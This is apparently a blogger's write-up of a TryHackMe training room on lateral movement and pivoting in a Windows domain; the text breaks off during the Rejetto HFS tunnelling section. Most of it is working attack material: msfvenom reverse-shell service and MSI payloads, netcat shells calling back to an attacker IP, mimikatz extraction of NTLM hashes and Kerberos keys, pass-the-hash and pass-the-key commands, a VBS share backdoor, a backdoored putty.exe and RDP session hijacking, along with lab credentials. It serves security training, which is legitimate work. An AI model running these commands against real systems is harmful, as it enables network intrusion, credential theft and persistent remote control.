I’m excited and keen to learn more information regarding lateral movement and pivoting. This is a write up of the TryHackMe Lateral Movement and Pivoting room.
https://tryhackme.com/r/room/lateralmovementandpivoting
In well-secured environments you are likely to come across tightly secured firewall rules or DMZs so it is crucial to learn the skills and methodology required to move laterally within a network.
In computer networks, a DMZ, or demilitarized zone, is a physical or logical subnet that separates a local area network (LAN) from other untrusted networks — usually, the public internet. DMZs are also known as perimeter networks or screened subnetworks.https://www.techtarget.com/searchsecurity/definition/DMZ
#Task 1 Introduction:
We’re going to be using our own Kali Linux virtual machine and connecting to TryHackMe’s server using a VPN.
After joining the room you need to download the .ovpn file which is dedicated to this room. The ovpn file is different to the one commonly used throughout the website as this room contains a network of servers as opposed to the single box.
Download the file from https://tryhackme.com/r/access and connect using openvpn. Once connected you will also need to setup DNS.
#Task 2 Moving Through the Network
Task 2 explains the cycle of lateral movement and how it is a cycle which is repeated until the target is reached.

#Task 3 Spawning Processes Remotely
Psexec
Ports 445/TCP (SMB)
Required Group Permissions: Administrators
Requires the Sysinternals Tool binary.
psexec64.exe \\MACHINE_IP -u Administrator -p Mypass123 -i cmd.exe
WinRM
Ports 5985/TCP (WinRM HTTP) or 5986/TCP (HTTPS)
Required Group Memberships: Remote Management Users
#From CMD
winrs.exe -u:Administrator -p:Mypass123 -r:target cmd
#From Powershell
$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
Enter-PSSession -Computername TARGET -Credential $credential
#Powershell also includes the Invoke-Command cmdlet, which runs ScriptBlocks remotely via WinRM.
Invoke-Command -Computername TARGET -Credential $credential -ScriptBlock {whoami}
Creating Services using SC
Ports:
– 135/TCP, 49162-65535/TCP (DCE/RPC)
– 445/TCP (RPC over SMB Named Pipes)
– 139/TCP (RPC over SMB Named Pipes)
Required Group Memberships: Administrators
sc.exe \\TARGET create THMservice binPath= "net user munra Pass123 /add" start= auto
sc.exe \\TARGET start THMservice
The "net user" command will be executed when the service is started, creating a new local user on the system. Since the operating system is in charge of starting the service, you won't be able to look at the command output.
To stop and delete the service, we can then execute the following commands:
sc.exe \\TARGET stop THMservice
sc.exe \\TARGET delete THMservice
Creating Scheduled Tasks Remotely
– Port 135/TCP, 49162-65535/TCP (DCE/RPC)
schtasks /s TARGET /RU "SYSTEM" /create /tn "THMtask1" /tr "<command/payload to execute>" /sc ONCE /sd 06/04/2024 /st 11:00
#Start Task Manually
schtasks /s TARGET /run /TN "THMtask1"
#Delete the Scheduled task
schtasks /S TARGET /TN "THMtask1" /DELETE /F
Lets get to Work
Create our credentials by visiting the Hyperlink provided – http://distributor.za.tryhackme.com/creds
Our Credentials:
Your credentials have been generated: Username: jennifer.wright Password: Acknowledge1998
Let’s connect to SSH
ssh za\\jennifer.wright@thmjmp2.za.tryhackme.com
Note – already captured credentials with admin access:
User: ZA.TRYHACKME.COM\t1_leonard.summers
Password: EZpass4ever
In order to pivot we will use the SC.exe to move laterally from the THMJMP2 to the IIS server. Services require special binaries to work, a regular EXE will launch and shortly stop thereafter because a a windows service has a special ServiceMain function that must respond to the Service Control Manager. A regular executable has a main or WinMain function and doe not have to respond to any particular service control functions.
We use Metasploit to create a service executable to be used in our attack for a reverse shell
msfvenom -p windows/shell/reverse_tcp -f exe-service LHOST=10.50.49.123 LPORT=4444 -o pwnservice.exe
We transfer the file to the hidden admin$ share on THMIIS using t1_leonard.summers credentials.
smbclient -c 'put pwnservice.exe' -U t1_leonard.summers -W ZA '//thmiis.za.tryhackme.com/admin$/' EZpass4ever
We setup our shell to listen for incoming tcp shell connections.
msfconsole -q -x "use exploit/multi/handler; set payload windows/shell/reverse_tcp; set LHOST lateralmovement; set LPORT 4444;exploit"
In order to use runas with the /netonly switch we will need to launch another shell. We need to first open a netcat listener, after this we can run the runas command on the THMJMP2
nc -lvp 4443
runas /netonly /user:ZA.TRYHACKME.COM\t1_leonard.summers "c:\tools\nc64.exe -e cmd.exe 10.50.49.123 4443"
Now we have a shell on THMJMP2 that will use t1_leonard.summers credentials for all network commands we can utilize SCM to configure and start our malicious service!
sc.exe \\thmiis.za.tryhackme.com create pwnTHMservice-3249 binPath= "%windir%\pwnservice.exe" start= auto
sc.exe \\thmiis.za.tryhackme.com start pwnTHMservice-3249
If we look at our msfconsole tab which we set up earlier listening on port 4444 it should have now spawned a shell. This is THMIIS with Leonard’s credential.
We can now browse to the Desktop and run the Flag.exe to retrieve our flag!
C:\Users\t1_leonard.summers\Desktop>dir
dir
Volume in drive C is Windows
Volume Serial Number is 1634-22A9
Directory of C:\Users\t1_leonard.summers\Desktop
2022/06/17 18:41 <DIR> .
2022/06/17 18:41 <DIR> ..
2022/06/17 18:40 58368 Flag.exe
1 File(s) 58368 bytes
2 Dir(s) 46512984064 bytes free
C:\Users\t1_leonard.summers\Desktop>Flag.exe
Flag.exe
THM{MOVING_WITH_SERVICES}
Flag:
Flag
THM{MOVING_WITH_SERVICES}
#Task 4 Moving Laterally Using WMI
Connecting to WMI From Powershell
Connecting to WMI from Powershell requires a PSCredential object which contains the username and password for our user and is stored in the $credential variable.
$username = 'roger.baxter';
$password = '5TsoxGnS';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
WMI sessions can be created using either of the following two protocols
- DCOM:
RPC over IP will be used for connecting to WMI. This protocol uses port 135/TCP and ports 49152-65535/TCP - Wsman:
WinRM will be used for connecting to WMI. This protocol uses ports 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS).
$Opt = New-CimSessionOption -Protocol DCOM
$Session = New-Cimsession -ComputerName TARGET -Credential $credential -SessionOption $Opt -ErrorAction Stop
Remote Process Creation Using WMI
Ports:
– 135/TCP, 49152-65535/TCP (DCERPC)
– 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS)
Required Group Memberships: Administrators
The following code will use WMI to create a powershell command on a target
$Command = "powershell.exe -Command Set-Content -Path C:\text.txt -Value Thisisthecreatedcontentforthetext file";
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{
CommandLine = $Command
}
On legacy systems, the same can be done using wmic from the command prompt:
wmic.exe /user:Administrator /password:Mypass123 /node:TARGET process call create "cmd.exe /c calc.exe"
Creating Services Remotely Using WMI
Ports:
– 135/TCP, 49152-65535/TCP (DCERPC)
– 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS)
Required Group Memberships: Administrators
We can create services using WMI via PowerShell, this is similar to the creation of processes and once again uses the $Session we created earlier.
Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName Create -Arguments @{
Name = "THMService2";
DisplayName = "THMService2";
PathName = "net user infozec Solarwinds123 /add"; # Your payload
ServiceType = [byte]::Parse("16"); # Win32OwnProcess : Start service in a new process
StartMode = "Manual"
}
And then, we can get a handle on the service and start it with the following commands:
$Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter "Name LIKE 'THMService2'"
Invoke-CimMethod -InputObject $Service -MethodName StartService
Finally, we can stop and delete the service with the following commands:
Invoke-CimMethod -InputObject $Service -MethodName StopService
Invoke-CimMethod -InputObject $Service -MethodName Delete
Creating Scheduled Tasks Remotely with WMI
Ports:
– 135/TCP, 49152-65535/TCP (DCERPC)
– 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS)
Required Group Memberships: Administrators
We can create and execute scheduled tasks by using some cmdlets available in Windows default installations:
# Payload must be split in Command and Args
$Command = "cmd.exe"
$Args = "/c net user munra22 aSdf1234 /add"
$Action = New-ScheduledTaskAction -CimSession $Session -Execute $Command -Argument $Args
Register-ScheduledTask -CimSession $Session -Action $Action -User "NT AUTHORITY\SYSTEM" -TaskName "THMtask2"
Start-ScheduledTask -CimSession $Session -TaskName "THMtask2"
To delete the scheduled task after it has been used, we can use the following command:
Unregister-ScheduledTask -CimSession $Session -TaskName "THMtask2"
Installing MSI packages through WMI
Ports:
– 135/TCP, 49152-65535/TCP (DCERPC)
– 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS)
Required Group Memberships: Administrators
MSI is a file format used for installers. If we can copy an MSI package to the target system, we can then use WMI to attempt to install it for us. The file can be copied in any way available to the attacker. Once the MSI file is in the target system, we can attempt to install it by invoking the Win32_Product class through WMI:
Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\myinstaller.msi"; Options = ""; AllUsers = $false}
We can achieve the same by us using wmic in legacy systems:
wmic /node:TARGET /user:DOMAIN\USER product call install PackageLocation=c:\Windows\myinstaller.msi
Lets get to work
Okay, lets get back to hacking! So firstly we will be using the credentials which we obtained earlier from http://distributor.za.tryhackme.com/creds and connecting to THM2.za.tryhackme.com via SSH.
ssh za\\jennifer.wright@thmjmp2.za.tryhackme.com
We have also been supplied credentials which we will use to move laterally to THMIIS using WMI and MSI packages –
User: ZA.TRYHACKME.COM\t1_corine.waters
Password: Korine.1994
Let’s now create our malicious MSI file using Metasploit. It’s worth noting that because this is shared machine we need to use a unique name for our MSI file output.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=lateralmovement LPORT=4445 -f msi > supermalware.msi
Before we can execute our supermalware.msi we need to transfer it to the target. Lets use smbclient and the supplied credentials to transfer the file.
smbclient -c 'put supermalware.msi' -U t1_corine.waters -W ZA '//thmiis.za.tryhackme.com/admin$/' --password=Korine.1994
Now the file has been transferred lets setup metasploit to listen for the shell by running the following commands one at a time.
use multi/handler
set LHOST lateralmovement
set LPORT 4445
set payload windows/x64/shell_reverse_tcp
exploit
Now we are listening for incoming connections lets set up the WMI session using the credentials provided (t1_corine.waters). Note, we will be running these powershell on the windows THMJMP2 server which we SSH’d onto using the credentials provided in the URL earlier.
$username = 't1_corine.waters';
$password = 'Korine.1994';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
$Opt = New-CimSessionOption -Protocol DCOM
$Session = New-Cimsession -ComputerName thmiis.za.tryhackme.com -Credential $credential -SessionOption $Opt -ErrorAction Stop
Now we have the $Session running we can use the Invoke-CimMethod command to send an install command to our file we sent across.
Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\supermalware.msi"; Options = ""; AllUsers = $false}
After this has run, we check our metasploit window and we have started our session. We can now browse to t1_corine.waters desktop and collect our flag.

Flag
THM{MOVING_WITH_WMI_4_FUN}
#Task 5 Use of Alternative Authentication Material
In windows domain there are two main authentication protocols used:
NTLM
NTLM, this is a challenge response protocol, some key notes are that the client doesn’t directly communicate with the domain controller and also the NTLM hash (hashed user password) and the challenge are combined as a response and is passed to the domain controller which then confirms if the authentication was successful and allow / denies authentication depending on the outcome.

Note: If a local account is used the server can verify the response to the challenge itself without requiring interaction with the domain controller since it has the password hash stored locally on its SAM.
Pass-The-Hash
We don’t necessarily need the users passwords due to the challenge / response system, if we are able to capture the users hash either from the local SAM or from memory (the LSASS process). We can then use this hash and pass this to the server as our authentication request. A common tool used for this and one which will be using here is mimikatz
Extracting NTLM hashes from local SAM:
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # lsadump::sam
RID : 000001f4 (500)
User : Administrator
Hash NTLM: 145e02c50333951f71d13c245d352b50
Extracting NTLM hashes from LSASS memory:
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # sekurlsa::msv
Authentication Id : 0 ; 308124 (00000000:0004b39c)
Session : RemoteInteractive from 2
User Name : bob.jenkins
Domain : ZA
Logon Server : THMDC
Logon Time : 2022/04/22 09:55:02
SID : S-1-5-21-3330634377-1326264276-632209373-4605
msv :
[00000003] Primary
* Username : bob.jenkins
* Domain : ZA
* NTLM : 6b4a57f67805a663c818106dc0648484
A few of the many Linux Tools which support Pass The Hash
Connect to RDP using PtH:
xfreerdp /v:VICTIM_IP /u:DOMAIN\\MyUser /pth:NTLM_HASH
Connect via psexec using PtH:
psexec.py -hashes NTLM_HASH DOMAIN/MyUser@VICTIM_IP
Note: Only the linux version of psexec support PtH.
Connect to WinRM using PtH:
evil-winrm -i VICTIM_IP -u MyUser -H NTLM_HASH
Kerberos
The user sends his username and a timestamp encrypted using a key derived from his password to the Key Distribution Center (KDC), a service usually installed on the Domain Controller in charge of creating Kerberos tickets on the network.
The KDC will create and send back a Ticket Granting Ticket (TGT), allowing the user to request tickets to access specific services without passing their credentials to the services themselves. Along with the TGT, a Session Key is given to the user, which they will need to generate the requests that follow.
Notice the TGT is encrypted using the krbtgt account’s password hash, so the user can’t access its contents. It is important to know that the encrypted TGT includes a copy of the Session Key as part of its contents, and the KDC has no need to store the Session Key as it can recover a copy by decrypting the TGT if needed.

When users want to connect to a service on the network like a share, website or database, they will use their TGT to ask the KDC for a Ticket Granting Service (TGS). TGS are tickets that allow connection only to the specific service for which they were created. To request a TGS, the user will send his username and a timestamp encrypted using the Session Key, along with the TGT and a Service Principal Name (SPN), which indicates the service and server name we intend to access.
As a result, the KDC will send us a TGS and a Service Session Key, which we will need to authenticate to the service we want to access. The TGS is encrypted using the Service Owner Hash. The Service Owner is the user or machine account under which the service runs. The TGS contains a copy of the Service Session Key on its encrypted contents so that the Service Owner can access it by decrypting the TGS.

The TGS can then be sent to the desired service to authenticate and establish a connection. The service will use its configured account’s password hash to decrypt the TGS and validate the Service Session Key.

Pass-the-Ticket
Sometimes it is possible to extract Kerberos tickets from LSASS memory using mimikatz but the process usually requires us to have SYSTEM privileges on the machine.
mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export
Notice that if we only had access to a ticket but not its corresponding session key, we wouldn’t be able to use that ticket; therefore, both are necessary.
While mimikatz can extract any TGT or TGS available from the memory of the LSASS process, most of the time, we’ll be interested in TGTs as they can be used to request access to any services the user is allowed to access. At the same time, TGSs are only good for a specific service. Extracting TGTs will require us to have administrator’s credentials, and extracting TGSs can be done with a low-privileged account (only the ones assigned to that account).
Once we have extracted the desired ticket, we can inject the tickets into the current session with the following command:
mimikatz # kerberos::ptt [0;427fcd5]-2-0-40e10000-Administrator@krbtgt-ZA.TRYHACKME.COM.kirbi
Overpass-the-hash / Pass-the-Key
This kind of attack is similar to PtH but applied to Kerberos networks.
When a user requests a TGT, they send a timestamp encrypted with an encryption key derived from their password. The algorithm used to derive this key can be either DES (disabled by default on current Windows versions), RC4, AES128 or AES256, depending on the installed Windows version and Kerberos configuration. If we have any of those keys, we can ask the KDC for a TGT without requiring the actual password, hence the name Pass-the-key (PtK).
We can obtain the Kerberos encryption keys from memory by using mimikatz with the following commands:
mimikatz # privilege::debug
mimikatz # sekurlsa::ekeys
Depending on the available keys, we can run the following commands on mimikatz to get a reverse shell via Pass-the-Key (nc64
is already available in THMJMP2 for your convenience):
If we have the RC4 hash:
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /rc4:96ea24eff4dff1fbe13818fbf12ea7d8 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
If we have the AES128 hash:
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes128:b65ea8151f13a31d01377f5934bf3883 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
If we have the AES256 hash:
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes256:b54259bbff03af8d37a138c375e29254a2ca0649337cc4c73addcd696b4cdb65 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
Notice that when using RC4, the key will be equal to the NTLM hash of a user. This means that if we could extract the NTLM hash, we can use it to request a TGT as long as RC4 is one of the enabled protocols. This particular variant is usually known as Overpass-the-Hash (OPtH).
Let’s Get to Work!
We are provided credentials from TryHackMe for this section:
User: ZA.TRYHACKME.COM\t2_felicia.dean
Password: iLov3THM!
ssh za\\t2_felicia.dean@thmjmp2.za.tryhackme.com
Once connected we will export the kerberos encryption keys looking for the t1_toby.beck’s credentials.
mimikatz # sekurlsa::ekeys
This command will export active LSASS tickets from memory. We are able to find our user t1_toby.beck and extract the aes256
Authentication Id : 0 ; 646374 (00000000:0009dce6)
User Name : t1_toby.beck
Domain : ZA
Logon Server : THMDC
Logon Time : 4/6/2024 9:52:30 PM
SID : S-1-5-21-3330634377-1326264276-632209373-4607
* Username : t1_toby.beck
* Password : (null)
* Key List :
aes256_hmac 6a0d48f79acaec013d928d84a102b72028d574340b6139e876e179db48fb
de4e
rc4_hmac_nt 533f1bd576caa912bdb9da284bbc60fe
rc4_hmac_old 533f1bd576caa912bdb9da284bbc60fe
rc4_md4 533f1bd576caa912bdb9da284bbc60fe
rc4_hmac_nt_exp 533f1bd576caa912bdb9da284bbc60fe
rc4_hmac_old_exp 533f1bd576caa912bdb9da284bbc60fe
Using this key we are able to perform a pass the hash attack, this will effectively load a cmd.exe over netcat similar to runas /netonly. Before we launch this attack will need to open a netcat listener on the same port on our attack box.
nc -vlp 5556
mimikatz # sekurlsa::pth /user:t1_toby.beck /domain:za.tryhackme.com /aes256:6a0d48f79acaec013d928d84a102b72028d574340b6139e876e179db48fb
de4e /run:"c:\tools\nc64.exe -e cmd.exe 10.50.49.123 5556"
After running the mimikatz command our nc terminal receives the CMD.exe shell. From here are then able to use winrs to launch a WinRM session to THMIIS authetnication as t1_toby.beck
winrs.exe -r:THMIIS.za.tryhackme.com cmd
We are then able to pick up the flag.
Flag
THM{NO_PASSWORD_NEEDED}
#Task 6 Abusing User Behaviour
Abusing Writable Shares
If we have write access to network shares we have the ability to backdoor applications and scripts and force users to execute any payload we want.
Backdooring .vbs Scripts
As an example, if the shared resource is a VBS script, we can put a copy of nc64.exe on the same share and inject the following code in the shared script:
CreateObject("WScript.Shell").Run "cmd.exe /c copy /Y \\10.10.28.6\myshare\nc64.exe %tmp% & %tmp%\nc64.exe -e cmd.exe <attacker_ip> 1234", 0, True
This will copy nc64.exe from the share to the user’s workstation %tmp%
directory and send a reverse shell back to the attacker whenever a user opens the shared VBS script.
Backdooring .exe Files
If the shared file is a Windows binary, say putty.exe, you can download it from the share and use msfvenom to inject a backdoor into it. The binary will still work as usual but execute an additional payload silently. To create a backdoored putty.exe, we can use the following command:
msfvenom -a x64 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=<attacker_ip> lport=4444 -b "\x00" -f exe -o puttyX.exe
The resulting puttyX.exe will execute a reverse_tcp meterpreter payload without the user noticing it. Once the file has been generated, we can replace the executable on the windows share and wait for any connections using the exploit/multi/handler module from Metasploit.
RDP hijacking
If we have administrator level access we can pivot to SYSTEM using any method we wish. An example here is using PsExec64.exe from Sysinternals
PsExec64.exe -s cmd.exe
Once we have a command prompt as system we can query active/stale disconnected sessions and take over the users session using RDP commands.
C:\> query user
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
>administrator rdp-tcp#6 2 Active . 4/1/2022 4:09 AM
luke 3 Disc . 4/6/2022 6:51 AM
tscon 3 /dest:rdp-tcp#6
In simple terms, the command states that the graphical session 3
owned by luke, should be connected with the RDP session rdp-tcp#6
, owned by the administrator user.
As a result, we’ll resume luke’s RDP session and connect to it immediately.
Note: Windows Server 2019 won’t allow you to connect to another user’s session without knowing its password.
Let’s Get to Work!
We need to fetch new credentials using the link provided, note this is a different link to the previous one. http://distributor.za.tryhackme.com/creds_t2
Username: t2_stuart.byrne
Password: Pnaf3167
We are then going to connect to the THMJMP2 server via RDP using these credentials and take control of another users session.
xfreerdp /v:thmjmp2.za.tryhackme.com /u:t2_stuart.byrne /p:Pnaf3167
Once logged on, we open a CMD prompt as an admin and then run the PsExec executable to launch CMD as the SYSTEM account.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>cd c:\tools
c:\tools>PsExec64.exe -s cmd.exe
PsExec v2.34 - Execute processes remotely
Copyright (C) 2001-2021 Mark Russinovich
Sysinternals - www.sysinternals.com
Now we have a CMD prompt running as NT AUTHORITY\SYSTEM we can run the following commands to retrieve the session ID and take over the other users RDP session.
C:\Windows\system32>query user
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
t1_toby.beck5 2 Disc . 4/6/2024 9:43 PM
t1_toby.beck 3 Disc 1 4/6/2024 9:52 PM
t1_toby.beck1 4 Disc 1 4/6/2024 9:52 PM
t1_toby.beck2 5 Disc 1 4/6/2024 9:52 PM
t1_toby.beck3 6 Disc . 4/6/2024 9:53 PM
t1_toby.beck4 7 Disc . 4/6/2024 9:53 PM
t2_stuart.byrne rdp-tcp#43 8 Active . 4/6/2024 10:53 PM
tscon 3 /dest:rdp-tcp#43
After hitting enter we are immediately taken to t1_toby.beck’s RDP session and the flag is revealed in paint.
Flag
THM{NICE_WALLPAPER}

#Task 7 Port Forwarding
There will often be scenarios where networks are segmented and ports will be blocked from certain devices. To get around these restrictions we can use port forwarding techniques.
SSH Tunneling
The first example we will be looking at is SSH Tunneling. To explain each case, let’s assume a scenario where we’ve gained control over the PC-1 machine (it doesn’t need to be administrator access) and would like to use it as a pivot to access a port on another machine to which we can’t directly connect. We will start a tunnel from the PC-1 machine, acting as an SSH client, to the Attacker’s PC, which will act as an SSH server. The reason to do so is that you’ll often find an SSH client on Windows machines, but no SSH server will be available most of the time.

Since we’ll be making a connection back to our attacker’s machine, we’ll want to create a user in it without access to any console for tunnelling and set a password to use for creating the tunnels:
useradd tunneluser -m -d /home/tunneluser -s /bin/true
passwd tunneluser
Depending on your needs, the SSH tunnel can be used to do either local or remote port forwarding. Let’s take a look at each case.
SSH Remote Port Forwarding
In our example, let’s assume that firewall policies block the attacker’s machine from directly accessing port 3389 on the server. If the attacker has previously compromised PC-1 and, in turn, PC-1 has access to port 3389 of the server, it can be used to pivot to port 3389 using remote port forwarding from PC-1. Remote port forwarding allows you to take a reachable port from the SSH client (in this case, PC-1) and project it into a remote SSH server (the attacker’s machine).
As a result, a port will be opened in the attacker’s machine that can be used to connect back to port 3389 in the server through the SSH tunnel. PC-1 will, in turn, proxy the connection so that the server will see all the traffic as if it was coming from PC-1:

A valid question that might pop up by this point is why we need port forwarding if we have compromised PC-1 and can run an RDP session directly from there. The answer is simple: in a situation where we only have console access to PC-1, we won’t be able to use any RDP client as we don’t have a GUI. By making the port available to your attacker’s machine, you can use a Linux RDP client to connect. Similar situations arise when you want to run an exploit against a port that can’t be reached directly, as your exploit may require a specific scripting language that may not always be available at machines you compromise along the way.
Referring to the previous image, to forward port 3389 on the server back to our attacker’s machine, we can use the following command on PC-1:
PC1: Command Prompt
C:\> ssh tunneluser@1.1.1.1 -R 3389:3.3.3.3:3389 -N
This will establish an SSH session from PC-1 to 1.1.1.1
(Attacker PC) using the tunneluser
user.
Since the tunneluser
isn’t allowed to run a shell on the Attacker PC, we need to run the ssh
command with the -N
switch to prevent the client from requesting one, or the connection will exit immediately. The -R
switch is used to request a remote port forward, and the syntax requires us first to indicate the port we will be opening at the SSH server (3389), followed by a colon and then the IP and port of the socket we’ll be forwarding (3.3.3.3:3389). Notice that the port numbers don’t need to match, although they do in this example.
The command itself won’t output anything, but the tunnel will depend on the command to be running. Whenever we want, we can close the tunnel by pressing CTRL+C as with any other command.
Once our tunnel is set and running, we can go to the attacker’s machine and RDP into the forwarded port to reach the server:
Attacker’s Machine
infozec@attacker-pc$ xfreerdp /v:127.0.0.1 /u:MyUser /p:MyPassword
SSH Local Port Forwarding
Local port forwarding allows us to “pull” a port from an SSH server into the SSH client. In our scenario, this could be used to take any service available in our attacker’s machine and make it available through a port on PC-1. That way, any host that can’t connect directly to the attacker’s PC but can connect to PC-1 will now be able to reach the attacker’s services through the pivot host.
Using this type of port forwarding would allow us to run reverse shells from hosts that normally wouldn’t be able to connect back to us or simply make any service we want available to machines that have no direct connection to us.

To forward port 80 from the attacker’s machine and make it available from PC-1, we can run the following command on PC-1:
PC1: Command Prompt
C:\> ssh tunneluser@1.1.1.1 -L *:80:127.0.0.1:80 -N
The command structure is similar to the one used in remote port forwarding but uses the -L
option for local port forwarding. This option requires us to indicate the local socket used by PC-1 to receive connections (*:80
) and the remote socket to connect to from the attacker’s PC perspective (127.0.0.1:80
).
Notice that we use the IP address 127.0.0.1 in the second socket, as from the attacker’s PC perspective, that’s the host that holds the port 80 to be forwarded.
Since we are opening a new port on PC-1, we might need to add a firewall rule to allow for incoming connections (with dir=in
). Administrative privileges are needed for this:
netsh advfirewall firewall add rule name="Open Port 80" dir=in action=allow protocol=TCP localport=80
Once your tunnel is set up, any user pointing their browsers to PC-1 at http://2.2.2.2:80
and see the website published by the attacker’s machine.
Port Forwarding With socat
In situations where SSH is not available, socat can be used to perform similar functionality. While not as flexible as SSH, socat allows you to forward ports in a much simpler way. One of the disadvantages of using socat is that we need to transfer it to the pivot host (PC-1 in our current example), making it more detectable than SSH, but it might be worth a try where no other option is available.
The basic syntax to perform port forwarding using socat is much simpler. If we wanted to open port 1234 on a host and forward any connection we receive there to port 4321 on host 1.1.1.1, you would have the following command:
socat TCP4-LISTEN:1234,fork TCP4:1.1.1.1:4321
The fork
option allows socat to fork a new process for each connection received, making it possible to handle multiple connections without closing. If you don’t include it, socat will close when the first connection made is finished.
Coming back to our example, if we wanted to access port 3389 on the server using PC-1 as a pivot as we did with SSH remote port forwarding, we could use the following command:
PC-1: Command Prompt
C:\>socat TCP4-LISTEN:3389,fork TCP4:3.3.3.3:3389
Note that socat can’t forward the connection directly to the attacker’s machine as SSH did but will open a port on PC-1 that the attacker’s machine can then connect to:

As usual, since a port is being opened on the pivot host, we might need to create a firewall rule to allow any connections to that port:
netsh advfirewall firewall add rule name="Open Port 3389" dir=in action=allow protocol=TCP localport=3389
If, on the other hand, we’d like to expose port 80 from the attacker’s machine so that it is reachable by the server, we only need to adjust the command a bit:
PC-1: Command Prompt
C:\>socat TCP4-LISTEN:80,fork TCP4:1.1.1.1:80
As a result, PC-1 will spawn port 80 and listen for connections to be forwarded to port 80 on the attacker’s machine:

Dynamic Port Forwarding and SOCKS
While single port forwarding works quite well for tasks that require access to specific sockets, there are times when we might need to run scans against many ports of a host, or even many ports across many machines, all through a pivot host. In those cases, dynamic port forwarding allows us to pivot through a host and establish several connections to any IP addresses/ports we want by using a SOCKS proxy.
Since we don’t want to rely on an SSH server existing on the Windows machines in our target network, we will normally use the SSH client to establish a reverse dynamic port forwarding with the following command:
PC1: Command Prompt
C:\> ssh tunneluser@1.1.1.1 -R 9050 -N
In this case, the SSH server will start a SOCKS proxy on port 9050
, and forward any connection request through the SSH tunnel, where they are finally proxied by the SSH client.
The most interesting part is that we can easily use any of our tools through the SOCKS proxy by using proxychains. To do so, we first need to make sure that proxychains is correctly configured to point any connection to the same port used by SSH for the SOCKS proxy server. The proxychains configuration file can be found at /etc/proxychains.conf
on your AttackBox. If we scroll down to the end of the configuration file, we should see a line that indicates the port in use for socks proxying:
[ProxyList]
socks4 127.0.0.1 9050
The default port is 9050, but any port will work as long as it matches the one we used when establishing the SSH tunnel.
If we now want to execute any command through the proxy, we can use proxychains:
proxychains curl http://pxeboot.za.tryhackme.com
Note that some software like nmap might not work well with SOCKS in some circumstances, and might show altered results, so your mileage might vary.
Let’s Get to Work!
Our first objective will be to connect via RDP to THMIIS. If we try to connect directly from our attacker machine, we will find that port 3389 has been filtered via a firewall and is therefore not available directly. However, the port is up and running but can only be accessed from THMJMP2. By using socat, which is available on C:\tools\socat\
on THMJMP2, we will forward the RDP port to make it available on THMJMP2 to connect from our attacker’s machine.
To do so, we will run socat with the following parameters:
THMJMP2: Command Prompt
C:\tools\socat\>socat TCP4-LISTEN:13389,fork TCP4:THMIIS.za.tryhackme.com:3389
Note that we can’t use port 3389 for our listener since it is already being used in THMJMP2 for its own RDP service. Feel free to change the listener port (13389) to a different number to avoid clashing with other students. In a typical setup, you’d have to add a firewall rule to allow traffic through the listener port, but THMJMP2 has its firewall disabled for your convenience.
Once the listener has been set up, you should be able to connect to THMIIS via RDP from your attacker machine by pivoting through your socat listener at THMJMP2:
AttackBox
user@AttackBox$ xfreerdp /v:THMJMP2.za.tryhackme.com:13389 /u:t1_thomas.moore /p:MyPazzw3rd2020
Once connected, you should get a flag from t1_thomas.moore’s desktop on THMIIS.
Flag
THM{SIGHT_BEYOND_SIGHT}

Tunnelling Complex Exploits
The THMDC server is running a vulnerable version of Rejetto HFS. The problem we face is that firewall rules restrict access to the vulnerable port so that it can only be viewed from THMJMP2. Furthermore, outbound connections from THMDC are only allowed machines in its local network, making it impossible to receive a reverse shell directly to our attacker’s machine. To make things worse, the Rejetto HFS exploit requires the attacker to host an HTTP server to trigger the final payload, but since no outbound connections are allowed to the attacker’s machine, we would need to find a way to host a web server in one of the other machines in the same network, which is not at all convenient. We can use port forwarding to overcome all of these problems.
First, let’s take a look at how the exploit works. First, it will connect to the HFS port (RPORT
in Metasploit) to trigger a second connection. This second connection will be made against the attacker’s machine on SRVPORT
, where a web server will deliver the final payload. Finally, the attacker’s payload will execute and send back a reverse shell to the attacker on LPORT
:

With this in mind, we could use SSH to forward some ports from the attacker’s machine to THMJMP2 (SRVPORT for the web server and LPORT to receive the reverse shell) and pivot through THMJMP2 to reach RPORT on THMDC. We would need to do three port forwards in both directions so that all the exploit’s interactions can be proxied through THMJMP2:

Rejetto HFS will be listening on port 80 on THMDC, so we need to tunnel that port back to our attacker’s machine through THMJMP2 using remote port forwarding. Since the attackbox has port 80 occupied with another service, we will need to link port 80 on THMDC with some port not currently in use by the attackbox. Let’s use port 8888. When running ssh in THMJMP2 to forward this port, we would have to add -R 8888:thmdc.za.tryhackme.com:80
to our command.
For SRVPORT and LPORT, let’s choose two random ports at will. For demonstrative purposes, we’ll set SRVPORT=6666
and LPORT=7878
